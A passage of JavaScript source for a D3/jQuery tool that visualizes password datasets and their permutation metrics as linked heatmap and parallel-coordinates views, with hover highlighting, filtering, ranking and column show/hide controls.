for(var metricIndex = 0; metricIndex < thisObj.orderedMetrics[categoryIndex].metrics.length; metricIndex++ ){
var metricName = thisObj.orderedMetrics[categoryIndex].metrics[metricIndex];
if( (!thisObj.metricSet.isString( metricName )) ){
if( thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey ) ){
thisObj.visibleColumnCount++;
gutterFlag = true;
}
}
} // End metric loop
if ( gutterFlag ) {
thisObj.gutterCount++;
gutterFlag = false;
}
}
} //End category Loop
this.totalGutterCount = thisObj.gutterCount;
},
/** Establishes the visuals of the tier. Needs to be implemented by a subclass. */
visualize: function () {
var nameclass = this.html.id;
$(nameclass).html('');
},
/** Defines svg properties and creates svg objects for the tier. Needs to be implemented by a subclass. */
createsvg: function () {
console.log( " Implement this method. " );
},
/** Starts up the visualization of the tier. Initializes all properties. */
initialize: function ( ) {
this.createsvg();
this.visualize();
},
/** Returns the HTML markup of this tier. */
getHTML: function ( ) {
return this.html.markup;
},
/** Loops through all non-string metrics and executes the passed draw function */
draw: function ( drawFunction, selector ) {
var currentMetricIndex = 0,
thisObj = this;
nonPermutedMetricCount = 0,
gutterFlag = false;
// thisObj.countGutters();
this.gutterCount = 0;
thisObj.visibleColumnCount = 0;
for(var categoryIndex = 0; categoryIndex < thisObj.orderedMetrics.length ; categoryIndex++ ){
var categoryName = thisObj.orderedMetrics[categoryIndex].name;
if(!thisObj.metricSet.categories[categoryName].allString){
for(var metricIndex = 0; metricIndex < thisObj.orderedMetrics[categoryIndex].metrics.length; metricIndex++ ){
var metricName = thisObj.orderedMetrics[categoryIndex].metrics[metricIndex];
if( (!thisObj.metricSet.isString( metricName )) ){
if( thisObj.metricSet.isPermuted( metricName ) ){
var currentMetricCount = currentMetricIndex - nonPermutedMetricCount;
} else {
var currentMetricCount = currentMetricIndex;
}
// Determine column x value
var totalColumns = thisObj.visibleColumnCount + thisObj.gutterCount;
var totalIndex = ((thisObj.metricSet.getCount( thisObj.dataKey , thisObj.visualizationKey , "visible" ) + (thisObj.totalGutterCount))/2); // total columns + gutters / 2
var offsetIndex = totalColumns - totalIndex;
var offset = (offsetIndex * (thisObj.grid.size.width - .2));
var x = offset + thisObj.svg.dimensions.widthMidpoint + (thisObj.grid.size.width/2);
if( drawFunction ){
drawFunction( thisObj , thisObj.gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x );
}
currentMetricIndex++;
if( thisObj.metricSet.metrics[metricName].permuted.type != "permuted" ){
nonPermutedMetricCount++;
}
if( thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey ) ){
thisObj.visibleColumnCount++;
gutterFlag = true;
}
}
} // End metric loop
}
if ( gutterFlag ) {
thisObj.gutterCount++;
gutterFlag = false;
}
} //End category Loop
this.totalGutterCount = thisObj.gutterCount;
},
/** Template for what a draw function could look like */
drawFunction: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
console.log("Implement this method");
},
drawGrid: function ( ) {
var thisObj = this;
var gutter = thisObj.totalGutterCount;
var offsetIndex = (thisObj.metricSet.getCount( thisObj.dataKey , thisObj.visualizationKey , "visible" ) + gutter)/2;
var offset = -1 * thisObj.grid.size.width * offsetIndex;
var x = offset + thisObj.svg.dimensions.widthMidpoint;
// this.svg.obj.append("circle")
// .attr("x" , function(){
// return x;
// })
// .attr("r", (thisObj.grid.size.width/4))
// .attr("transform", function(d, i) {
// return "translate(" + x + ", " + ((thisObj.grid.size.height/2) + thisObj.margin.top) + ")";
// })
// .attr("style", "fill: #FF2525")
// .attr("fill-opacity", 0.2)
// .attr("class", "rowSelector");
// this.svg.obj.append("circle")
// .attr("r", (thisObj.grid.size.width/4))
// .attr("transform", function(d, i) {
// var gutter = thisObj.totalGutterCount;
// var offsetIndex = (thisObj.metricSet.getCount( thisObj.dataKey , thisObj.parentKey , "visible" ) + gutter)/2;
// var offset = (-1 * thisObj.grid.size.width * offsetIndex) + thisObj.grid.size.width;
// var x = offset + thisObj.svg.dimensions.widthMidpoint ;
// return "translate(" + x + ", " + (thisObj.margin.top/2) + ")";
// })
// .attr("y", function(){
// return (thisObj.margin.top/2);
// })
// .attr("style", "fill: #FF2525")
// .attr("fill-opacity", 0.2)
// .attr("class", "columnSelector");
this.draw( thisObj.initializeBlocks );
this.draw( thisObj.drawBlocks );
var thisObj = this;
var dataset = thisObj.dataset.getData();
var length = (dataset.length + 8) * thisObj.grid.size.height;
// this.svg.obj.append("line")
// .attr("x1", thisObj.svg.dimensions.widthMidpoint)
// .attr("x2", thisObj.svg.dimensions.widthMidpoint)
// .attr("y1", 0)
// .attr("y2", length)
// .attr("stroke-opacity" , 0.2)
// .attr("style", "stroke: #FF2525");
},
initializeBlocks: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var gridsvg = thisObj.svg.obj;
var nameClass = "." + metricName;
var dataset = thisObj.dataset.getData();
// Initialize this block
// Draw large grid
var columnObj = gridsvg.selectAll(nameClass);
columnObj
.data(dataset)
.enter()
.append("rect")
.attr("class", function(d, i){
return i + " "+metricName+" "+ metricName + i + " " + d['originalPassword']+" "+ d['permutedPassword']+" block hiderow";
})
.attr("id", function(d){return d['originalPassword'] + metricName;})
.on("mouseover", function(d, i){
return thisObj.hoverTrigger( d, metricName , this , "mouseover" )
})
.on("mouseout", function(d, i){
return thisObj.hoverTrigger( d, metricName , this , "mouseout" )
});
},
drawBlocks: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var svg = thisObj.svg.obj;
var nameClass = "." + metricName;
var colorScale = thisObj.metricSet.getNormalColorScale( metricName , thisObj.dataKey , thisObj.visualizationKey );
// Initialize this block
// Draw large grid
var columnObj = svg.selectAll(nameClass);
columnObj
.attr("width", thisObj.grid.size.width)
.attr("height", thisObj.grid.size.height)
.style("fill", function(d) { return colorScale(d[metricName]); });
thisObj.shiftColumns( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x );
thisObj.hideRows();
},
/** Connect tiers. Connected tiers will respond to events generated by other tiers.
* @param {Tier} Tier - Tier object to connect
*/
connect: function ( tier ) {
this.connectedTiers.push( tier );
},
/** Color the hovered row and column. If entering a block, row and column will be highlighted. Otherwise, they will be recolored the default color. */
colorColumnRow: function ( metricName , type , selector , row ) {
var thisObj = this,
svg = thisObj.svg.obj;
thisObj.hoverType = type; // Temporarily stores the type of hover
var columnClass = "." + metricName, // Class selector for the column
blocks = svg.selectAll(".block");
// Determine hover type and choose normal or highlight colorscale
if(thisObj.hoverType == "mouseover") {
var colorScale = thisObj.metricSet.getHighlightColorScale( metricName , thisObj.dataKey , thisObj.visualizationKey );
// Dim all blocks
blocks.style("fill-opacity", .25);
var rowClass = "." + metricName + row;
var position = $(rowClass).position();
} else {
// Choose normal colorscale
var colorScale = thisObj.metricSet.getNormalColorScale( metricName , thisObj.dataKey , thisObj.visualizationKey );
// Dim non-highlighted blocks
blocks.style("fill-opacity", 1);
}
// Color column
// Set style
var columnObj = svg.selectAll(columnClass);
columnObj.style("fill", function(d) { return colorScale(d[ metricName ]); })
.style("fill-opacity", 1);
// Color row
var colorRow = function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var rowClass = "." + metricName + row ; // Class representing row hovered
var rowObj = svg.selectAll(rowClass);
// Color with highlight color
if(thisObj.hoverType == "mouseover") {
var colorScale = thisObj.metricSet.getHighlightColorScale( metricName , thisObj.dataKey , thisObj.visualizationKey );
// Recolor default color
} else {
var colorScale = thisObj.metricSet.getNormalColorScale( metricName , thisObj.dataKey , thisObj.visualizationKey );
}
// Set style
rowObj.style( "fill", function( d , i ){ return colorScale( d[ metricName ]) })
.style("fill-opacity", 1);
};
thisObj.draw( colorRow , row );
},
/** Trigger hover function for this tier and connected tiers */
hoverTrigger: function (dataObj , name , obj , type) {
var thisObj = this,
svg = thisObj.svg.obj;
thisObj.hoverType = type;
// Get name of current block
var element = d3.select(obj).attr("class"),
className = element.split(" "),
row = className[0], // Row number
metricName = className[1], // Name of metric
selector = className[2];
// Color hovered column and row
thisObj.colorColumnRow( metricName , type , selector , row );
// Color blocks for connected tiers
for(var i = 0; i < thisObj.connectedTiers.length; i++){
if( thisObj.connectedTiers[i].hover ) {
thisObj.connectedTiers[i].hover( metricName , type , selector , row , (thisObj.key - 1) );
}
}
},
/** Activates same hover function as hoverTrigger. If a tier is connected to this tier, it will activate this function on hover. */
hover: function ( metricName , type , selector , row ) {
if( type === "mouseover" || type === "mouseout" ){
this.colorColumnRow( metricName , type , selector , row );
}
},
/**
* Set filter min and max values for passed metric.
* Determines which metrics have been filtered.
*/
filterPasswords: function ( metricName, values ) {
this.hiddenRows[metricName] = {
range: {
min: values[0],
max: values[1]
},
obj: []
};
this.hideRows();
},
/** Hide rows of passwords indicated in this.hiddenRows */
hideRows: function ( ) {
var svg = this.svg.obj;
svg.selectAll(".hiderow").style("opacity", 1);
for(var prop in this.hiddenRows){
var max = this.hiddenRows[ prop ].range.max;
var min = this.hiddenRows[ prop ].range.min;
this.hiddenRows[ prop ].obj = svg.selectAll(".hiderow").filter(function(d) { return (d[prop] < min || d[prop] > max); })
this.hiddenRows[ prop ].obj.style("opacity", 0);
}
},
/** Hide column as named by metricName */
hideColumns: function ( metricName ) {
var thisObj = this;
thisObj.draw( thisObj.shiftColumns );
},
/** Determine x position of columns */
shiftColumns: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var visible = thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey );
var svg = thisObj.svg.obj;
var nameClass = "." + metricName;
var obj = svg.selectAll(nameClass);
if( visible ){
obj
.attr("width", thisObj.grid.size.width)
.attr("transform", function(d, i) {
var y = thisObj.grid.size.height * i + thisObj.margin.top
return "translate(" + x + ", " + y + ")";
});
} else {
obj.attr("width", 0);
}
}
};
/** Represents svg properties and functions
* @param {integer} height - Integer. Desired height of the svg. Usually set to the container height.
* @param {integer} width - Desired width of the svg. Usually set to the container width.
* @param {String} id - HTML id of the resutling svg
* @param {String} parentContainer - HTML container where the resulting svg element will reside
*/
this.Svg = function ( height, width, id, parentContainer ) {
this.html = {
container: {
id: parentContainer
},
id: id
};
this.obj = {};
this.viewBox = {};
this.dimensions = {
height: height,
width: width
};
var init = function (thisObj) {
var svgSelector = "#" + thisObj.html.container.id + " " + thisObj.html.id;
svgSelector = $(svgSelector).toArray();
// Determine size of SVG viewBox using parent container dimensions
thisObj.viewBox = "0 0 " + $( thisObj.html.id ).width() + " " + (thisObj.dimensions.height);
// SVG
thisObj.obj = d3.selectAll(svgSelector).append("svg")
.attr("viewBox", thisObj.viewBox)
// .attr("overflow", "scroll")
.attr("height", thisObj.dimensions.height)
.attr("id" , thisObj.html.id)
// .attr("width", thisObj.dimensions.width)
// .attr("preserveAspectRatio", "xMidYMin meet")
;
// Determine mid point of height and width
thisObj.dimensions.heightMidpoint = thisObj.dimensions.height / 2;
thisObj.dimensions.widthMidpoint = thisObj.dimensions.width / 2;
};
init(this);
};
Svg.prototype = {
updateViewboxY: function ( yVal ) {
var thisObj = this;
var svgSelector = "#" + thisObj.html.container.id + " " + thisObj.html.id;
svgSelector = $(svgSelector).toArray();
thisObj.viewBox = "0 " + yVal + " " + $( thisObj.html.id ).width() + " " + (thisObj.dimensions.height);
// SVG
thisObj.obj.attr("viewBox", thisObj.viewBox);
}
};
/** Parallel coordinates */
this.Parcoords = function (type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode ) {
// Call superclass
TierInstance.call( this ,type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode );
this.currentBundledDimension = this.orderedMetricsList[0];
this.totalData = [];
this.totalDataList = [];
this.visibleDatasets = [];
};
Parcoords.prototype = Object.create( TierInstance.prototype, {
initialize: {
value: function ( ) {
this.createsvg();
},
enumerable: true,
configurable: true,
writable: true
},
visualize: {
value: function ( ) {
var thisObj = this,
id = "#" + this.html.id,
color = thisObj.colorBy();
$(id).html('');
thisObj.parcoords = null;
thisObj.parcoords = d3.parcoords({
data: thisObj.totalData,
metricSet: thisObj.metricSet,
dataKey: thisObj.dataKey,
visualizationKey: thisObj.visualizationKey,
orderedMetrics: thisObj.orderedMetricsList,
})(id);
thisObj.parcoords
.width(thisObj.width)
.detectDimensions( )
.dimensions( thisObj.orderedMetricsList )
.height(thisObj.height)
.createAxes()
.bundlingStrength(.5) // set bundling strength
.smoothness(.2)
.bundleDimension(thisObj.currentBundledDimension)
.showControlPoints(false)
.render()
.reorderable()
.interactive()
.brushMode("1D-axes")
.hideAxis("datasetIndex")
.color()
;
for(var i = 0; i < thisObj.orderedMetricsList.length; i++){
// thisObj.hideMultiColumn( thisObj.orderedMetricsList[i] );
}
thisObj.parcoords.updateAxes().bundleDimension(thisObj.currentBundledDimension).render();
},
enumerable: true,
configurable: true,
writable: true
},
createsvg: {
value: function () {
var id = "#" + this.html.id,
data = this.totalData,
thisObj = this;
var orderedMetricsList = this.orderedMetricsList;
var id = "#" + this.html.id;
thisObj.height = $( "#vizualizations-holder" ).height();
thisObj.width = $( id ).width();
thisObj.addData( thisObj.dataset[0] , 0);
},
enumerable: true,
configurable: true,
writable: true
},
// Add data to the visualization
addData: {
value: function ( dataset , index ) {
var thisObj = this,
data = dataset.getData(),
name = dataset.getName();
data.forEach(function(d){
thisObj.totalData.push(d);
});
thisObj.totalDataList.push( name );
thisObj.visibleDatasets[index] = true;
thisObj.visualize();
// thisObj.parcoords.autoscale().updateAxes().bundleDimension(thisObj.currentBundledDimension).render();
},
enumerable: true,
configurable: true,
writable: true
},
// Change which data is being viewed
viewData: {
value: function () {
},
enumerable: true,
configurable: true,
writable: true
},
hideColumns: {
value: function ( metricName ) {
var thisObj = this;
var visible = thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey );
if( visible ){
thisObj.parcoords.showAxis( metricName ).updateAxes().bundleDimension( thisObj.currentBundledDimension ).render();
} else {
thisObj.parcoords.hideAxis( metricName ).updateAxes().bundleDimension( thisObj.currentBundledDimension ).render();
}
},
enumerable: true,
configurable: true,
writable: true
},
hideMultiColumn: {
value: function ( metricName ) {
var thisObj = this,
visible = thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey );
if( visible ){
thisObj.parcoords.showAxis( metricName );
} else {
thisObj.parcoords.hideAxis( metricName );
}
},
enumerable: true,
configurable: true,
writable: true
},
bundleBy: {
value: function ( metricName ) {
this.parcoords.bundleDimension( metricName ).render();
this.currentBundledDimension = metricName;
},
enumerable: true,
configurable: true,
writable: true
},
colorBy: {
value: function ( metricName ) {
var thisObj = this;
// return color function based on plot and dimension
function zcolor(col, dimension) {
var z = zscore(_(col).pluck(dimension).map(parseFloat)),
zcolorscale = thisObj.metricSet.getZscoreColorScale( metricName , thisObj.dataKey , thisObj.visualizationKey );
return function(d) { return zcolorscale(z(d[dimension])) }
};
// color by zscore
function zscore(col) {
var n = col.length,
mean = _(col).mean(),
sigma = _(col).stdDeviation();
return function(d) {
return (d-mean)/sigma;
};
};
if( metricName == "datasetIndex" || !metricName){ // color categorically
var colors = d3.scale.category10();
colorFunction = function(d) { return colors(d.datasetIndex); };
console.log(colorFunction)
console.log(colorFunction(0));
if( !metricName ){
return colorFunction;
}
} else { // color statistically
colorFunction = zcolor(thisObj.parcoords.data(), metricName);
}
this.parcoords.color( colorFunction ).render();
this.currentColor = metricName;
},
enumerable: true,
configurable: true,
writable: true
},
updateSmoothness : {
value: function ( value ) {
this.parcoords.smoothness( value ).render();
},
enumerable: true,
configurable: true,
writable: true
},
updateBundling : {
value: function ( value ) {
this.parcoords.bundlingStrength( value ).render();
},
enumerable: true,
configurable: true,
writable: true
},
brushData : {
value: function ( dataIndex ) {
var data = [],
thisObj = this;
console.log(thisObj.visibleDatasets)
if( thisObj.visibleDatasets[dataIndex] ){ // make invisible
thisObj.visibleDatasets[dataIndex] = false;
} else { // make visible
thisObj.visibleDatasets[dataIndex] = true;
}
console.log(thisObj.visibleDatasets);
data = thisObj.totalData.filter(function (d, i){
console.log(thisObj.visibleDatasets[d.datasetIndex])
console.log(d.datasetIndex)
return thisObj.visibleDatasets[d.datasetIndex];
});
console.log(data);
console.log(thisObj.totalData)
thisObj.parcoords.brushUpdated( data );
},
enumerable: true,
configurable: true,
writable: true
}
});
Parcoords.prototype.constructor = Parcoords;
/** Heatmap small sidebar view */
this.HeatmapTier1 = function (type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode ) {
// Call superclass
TierInstance.call( this ,type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode );
// Custom grid size
this.grid = {
size: {
width: 2,
height: 2
}
};
};
HeatmapTier1.prototype = Object.create( TierInstance.prototype, {
visualize: {
value: function ( ) {
this.draw();
var nameclass = this.html.id;
$(nameclass).html('');
this.drawGrid();
this.draw( this.addFunctionality );
},
enumerable: true,
configurable: true,
writable: true
},
getGridSize: {
value: function ( ) {
return this.grid.size;
},
enumerable: true,
configurable: true,
writable: true
},
calculateGridSize: {
value: function () {
var height = this.svg.dimensions.height,
width = this.svg.dimensions.width;
// Calculate grid size
var numMetrics = this.metricSet.getCount( this.dataKey , this.visualizationKey ),
data = this.dataset.getData(),
numRows = data.length,
gridSizeWidth = width / numMetrics,
gridSizeHeight = height / numRows,
min = d3.min([ gridSizeWidth , gridSizeHeight ]);
if( gridSizeHeight > min ){
var gridSizeHeight = min;
}
this.grid = {
size: {
width: gridSizeWidth,
height: gridSizeHeight
}
};
},
enumerable: true,
configurable: true,
writable: true
},
createsvg: {
value: function () {
var id = "#" + this.html.id,
height = $( "#vizualizations-holder" ).height(),
width = $( id ).width();
console.log(id)
console.log(width)
if(this.mode == "heatmap-overview"){
$(id).append('<button class="btn btn-default navbar-btn btn-sm overview-view-btn" id="' + this.dataset.getName() + '" type="submit" ><span class="glyphicon glyphicon-eye-open" aria-hidden="true" ></span></button>');
var buttonHeight = $(".overview-view-btn").outerHeight();
height -= buttonHeight;
$(".overview-view-btn").click( function(e) {
var id = "#view-" + $(this).attr("id");
$(id).click();
});
}
this.svg = new Svg(height, width, id, this.html.parentContainer);
this.calculateGridSize();
},
enumerable: true,
configurable: true,
writable: true
},
scrollTo: {
value: function ( row ) {
var thisObj = this;
// Color blocks for connected tiers
for(var i = 0; i < thisObj.connectedTiers.length; i++){
if( thisObj.connectedTiers[i].scrollTo ) {
thisObj.connectedTiers[i].scrollTo( row );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
addFunctionality: {
value: function ( thisObj, categoryIndex , metricIndex , metricName , currentMetricIndex ) {
var gridsvg = thisObj.svg.obj;
var nameClass = "." + metricName;
var dataset = thisObj.dataset.getData();
// Initialize this block
// Draw large grid
var columnObj = gridsvg.selectAll(nameClass);
columnObj
.on("click", function(d, i){
return thisObj.scrollTo( i );
});
},
enumerable: true,
configurable: true,
writable: true
}
});
HeatmapTier1.prototype.constructor = HeatmapTier1;
/** Heatmap medium view */
this.HeatmapTier2 = function (type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode ) {
TierInstance.call( this , type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode );
this.grid = {
size: {
width: 17,
height: 17
},
margin: {
top: 0,
column: 10
}
}
this.labels = {
password: {
margin: {
left: 15
}
},
column: {
margin: {
bottom: 10
},
size: {
line: 5
}
}
}
};
HeatmapTier2.prototype = Object.create( TierInstance.prototype, {
visualize: {
value: function ( ) {
this.draw();
var nameclass = this.columnsSvg.html.id + " svg";
$(nameclass).html('');
var nameclass = this.svg.html.id + " svg";
$(nameclass).html('');
this.drawGrid();
this.drawLabels();
},
enumerable: true,
configurable: true,
writable: true
},
createsvg: {
value: function () {
var id = "#" + this.html.id + "-columns-svg-container";
var height = 250;
var width = $( id ).width();
this.columnsSvg = new Svg( height, width, id, this.html.parentContainer );
id = "#" + this.html.id + "-grid-svg-container";
height = $( "#vizualizations-holder" ).height() - this.columnsSvg.dimensions.height
width = $( id ).width();
this.svg = new Svg( height, width, id, this.html.parentContainer );
},
enumerable: true,
configurable: true,
writable: true
},
hideColumns: {
value: function ( metricName ) {
var thisObj = this;
thisObj.draw();
thisObj.draw( thisObj.shiftColumns );
thisObj.draw( thisObj.shiftColumnLabels );
thisObj.shiftPasswordLabels();
},
enumerable: true,
configurable: true,
writable: true
},
drawLabels:{
value: function ( ) {
var thisObj = this;
this.drawPasswordLabels();
this.draw( thisObj.drawColumnLabels );
},
enumerable: true,
configurable: true,
writable: true
},
drawPasswordLabels: {
value: function ( ) {
var thisObj = this;
var dataset = thisObj.dataset.getData();
var gridsvg = thisObj.svg.obj;
var columnssvg = thisObj.columnsSvg.obj ;
// Create password labels for main diagram
var passwordLabels = gridsvg.selectAll(".passwordLabels")
.data(dataset)
.enter().append("text")
.text(function (d) { return d['originalPassword']; })
.style("text-anchor", "end")
.attr("transform", function (d, i) {
return "translate(" + (( -1 * thisObj.grid.size.width * ( (thisObj.metricSet.getCount( thisObj.dataKey , thisObj.visualizationKey , "visible" ) + thisObj.orderedMetrics.length - 1)/2)) - thisObj.labels.password.margin.left + thisObj.svg.dimensions.widthMidpoint) + "," + ((i * thisObj.grid.size.height) + thisObj.grid.margin.top + (thisObj.grid.size.height * .8)) + ")";
})
.attr("class", function (d, i) { return "password mono hiderow passwordLabels" })
.attr("id", function (d, i) { return "labelpassword"+i; });
// Create password labels for main diagram
var passwordLabelsPermuted = gridsvg.selectAll(".passwordLabelsPermuted")
.data(dataset)
.enter().append("text")
.text(function (d) { return d['permutedPassword']; })
.style("text-anchor", "start")
.attr("transform", function (d, i) { return "translate(" + (( thisObj.grid.size.width * ( (thisObj.metricSet.getCount( thisObj.dataKey , thisObj.visualizationKey , "visible" ) + thisObj.orderedMetrics.length - 1)/2)) + thisObj.labels.password.margin.left + thisObj.svg.dimensions.widthMidpoint) + "," + ((i * thisObj.grid.size.height) + thisObj.grid.margin.top + (thisObj.grid.size.height * .8)) + ")";
})
.attr("class", function (d, i) { return "password mono hiderow passwordLabelsPermuted" })
.attr("id", function (d, i) { return "labelpassword"+i; });
thisObj.shiftPasswordLabels();
// Create labels for columns
var labels = columnssvg.selectAll(".metricLabel")
.data(thisObj.orderedMetrics)
.enter().append("g")
.attr("class", function(d, i){
return (d.name + i + "");
});
},
enumerable: true,
configurable: true,
writable: true
},
shiftPasswordLabels: {
value: function ( ) {
var thisObj = this;
var gridsvg = this.svg.obj;
var x = 0;
var offset = 0;
var gutter = thisObj.totalGutterCount;
var offsetIndex = (thisObj.metricSet.getCount( thisObj.dataKey , thisObj.visualizationKey , "visible" ) + gutter)/2;
// Create password labels for main diagram
var passwordLabels = gridsvg.selectAll(".passwordLabels")
.attr("transform", function (d, i) {
offset = -1 * thisObj.grid.size.width * offsetIndex;
x = offset - thisObj.labels.password.margin.left + thisObj.svg.dimensions.widthMidpoint ;
return "translate(" + x + "," + ((i * thisObj.grid.size.height) + thisObj.margin.top + (thisObj.grid.size.height * .8)) + ")";
});
// Create password labels for main diagram
var passwordLabelsPermuted = gridsvg.selectAll(".passwordLabelsPermuted")
.attr("transform", function (d, i) {
offset = ( thisObj.grid.size.width * (offsetIndex));
x = offset + thisObj.labels.password.margin.left + thisObj.svg.dimensions.widthMidpoint;
return "translate(" + x + "," + ((i * thisObj.grid.size.height) + thisObj.margin.top + (thisObj.grid.size.height * .8)) + ")";
});
},
enumerable: true,
configurable: true,
writable: true
},
drawColumnLabels: {
value: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var columnssvg = thisObj.columnsSvg.obj ;
var id = "." + thisObj.orderedMetrics[categoryIndex].name + categoryIndex + "";
var labels = columnssvg.selectAll(id);
labels.append("text")
.text(function(d, i){
return thisObj.metricSet.metrics[metricName].label;
})
.style("text-anchor", "start")
.attr("class", function(){return "label"+ metricName +" columnLabel mono axis step "+ metricName});
// labels.append("line")
// .attr("x1", 0)
// .attr("x2", thisObj.labels.column.size.line)
// .attr("y1", 0)
// .attr("y2", 0)
// .attr("style", "stroke: #000")
// .attr("class", function(){return metricName + "Line" });
thisObj.shiftColumnLabels( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x );
},
enumerable: true,
configurable: true,
writable: true
},
shiftColumnLabels: {
value: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var svg = thisObj.columnsSvg.obj,
nameClass = "." + metricName,
obj = svg.selectAll( nameClass ),
isVisible = thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey ),
nameClassLine = "." + metricName + "Line"
lineObj = svg.selectAll(nameClassLine);
if( isVisible ){
obj
.attr("fill-opacity", 1)
.attr("transform", function(d, i) {
return "translate(" + (x + (thisObj.grid.size.width * .5)) + ", " + (thisObj.columnsSvg.dimensions.height) + "), rotate(-70)";
});
lineObj
.attr("stroke-opacity", 0.2)
.attr("transform", function(d, i) {
return "translate(" + (x + (thisObj.grid.size.width * .5)) + ", " + thisObj.columnsSvg.dimensions.height + "), rotate(-90)";
});
} else {
obj.attr("fill-opacity", 0);
lineObj.attr("stroke-opacity", 0);
}
},
enumerable: true,
configurable: true,
writable: true
},
scrollTo: {
value: function ( row ) {
thisObj = this;
var svg = thisObj.svg.obj;
var classname = "." + row;
var position = $(classname).position();
var yVal = thisObj.grid.size.height * row;
if(yVal > this.svg.dimensions.heightMidpoint){
yVal -= this.svg.dimensions.heightMidpoint;
} else {
yVal = 0;
}
this.svg.updateViewboxY( yVal );
},
enumerable: true,
configurable: true,
writable: true
}
});
HeatmapTier2.prototype.constructor = HeatmapTier2;
/** Visualization controls */
this.Controls = function (type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode) {
TierInstance.call( this , type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode);
// Size and margin information for grid
this.grid = {
size: {
width: 15,
height: 15
},
margin: {
top: 80,
right: 0,
left: 10
}
};
this.datasetIndex = 0;
};
Controls.prototype = Object.create( TierInstance.prototype, {
visualize: {
value: function ( ) {
if( this.mode == "heatmap" || this.mode == "default" || this.mode == "heatmap-overview" ){
this.drawLabels();
this.drawBlocks();
}
this.initializeControls();
},
enumerable: true,
configurable: true,
writable: true
},
createsvg: {
value: function () {
var thisObj = this;
var id = "#" + thisObj.html.id + "-svg-container",
width = $( id ).width(),
height = (thisObj.grid.size.height * thisObj.metricSet.getCount( thisObj.dataKey , thisObj.visualizationKey )) + 50 ;
this.svg = new Svg( height, width, id, this.html.parentContainer )
this.grid.margin.left = this.svg.dimensions.width - (this.grid.size.width * 10) + 5;
},
enumerable: true,
configurable: true,
writable: true
},
initializeControls: {
value: function () {
this.createPanels();
this.refreshControls();
},
enumerable: true,
configurable: true,
writable: true
},
refreshControls: {
value: function () {
var parent = "#" + thisObj.parentKey;
// Clear panels if they exist
$( parent + ' .filter-holder').html('');
$( parent + ' .rank-holder').html('');
$( parent + ' #bundleBy-menu').html('');
$( parent + ' .hide-columns-holder' ).html('');
$( parent + ' .about-dataset-toggle-group').html('');
if(this.mode == "parcoords-overview"){
this.addHideDataControl();
} else if ( this.mode == "heatmap-overview" ) {
this.addDataControl();
}
this.draw( this.addControls );
this.createEventHandlers();
},
enumerable: true,
configurable: true,
writable: true
},
addControls: {
value: function( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var metricObj = thisObj.metricSet.metrics[metricName],
categoryName = thisObj.orderedMetrics[categoryIndex].name
metricLabel = metricObj.label,
parent = "#" + thisObj.parentKey;
if( thisObj.mode == "heatmap" || thisObj.mode == "heatmap-overview" || thisObj.mode == "default"){
if( metricIndex == 0 ){
// Filter: Append category title
$( parent + ' .filter-holder').append('<h4>' + categoryName + '</h4>');
// Rank by: Append category title
$( parent + ' .rank-holder').append('<br><h4 class="rank-category-label" >' + categoryName + '</h4>');
}
thisObj.addFilterSliders( metricName , thisObj );
thisObj.addRankByButton( metricName , thisObj );
} else if ( thisObj.mode == "parcoords" || thisObj.mode == "parcoords-overview" ) {
thisObj.addBundleByControl( metricName , thisObj );
}
if( metricIndex == 0 ){
// Show/hide: Append category title
$( parent + ' .hide-columns-holder').append('<br><h4 class="hide-columns-label" >' + categoryName + '</h4>');
}
thisObj.addShowHideControl( metricName , thisObj );
},
enumerable: true,
configurable: true,
writable: true
},
addData: {
value: function() {
this.refreshControls();
},
enumerable: true,
configurable: true,
writable: true
},
createPanels: {
value: function( thisObj ) {
var thisObj = this,
parent = "#" + thisObj.parentKey;
thisObj.createAboutPanel(); // Append panels
if( thisObj.mode == "heatmap" || thisObj.mode == "heatmap-overview" || thisObj.mode == "default" ){
thisObj.createFilterRankPanels();
} else if ( thisObj.mode == "parcoords" || thisObj.mode == "parcoords-overview") {
thisObj.createAppearancePanels();
}
thisObj.createShowHidePanel();
},
enumerable: true,
configurable: true,
writable: true
},
createEventHandlers: {
value: function( thisObj ) {
var thisObj = this,
parent = "#" + thisObj.parentKey;
$(parent + " .sortBtn").click(function(){ // Rank by
var id = $(this).children().attr("id");
$( parent + ' .display-btn').addClass('active');
thisObj.sortPasswords( id );
});
$( parent + " .hide-column-btn").click(function(){ // Show/hide columns
var id = $(this).attr("id");
id = id.replace("-hide-column", "");
thisObj.triggerHideColumns( id );
});
$( parent + " .show-hide-data-btn").click(function(){ // Show/hide dataset
var id = $(this).attr("id");
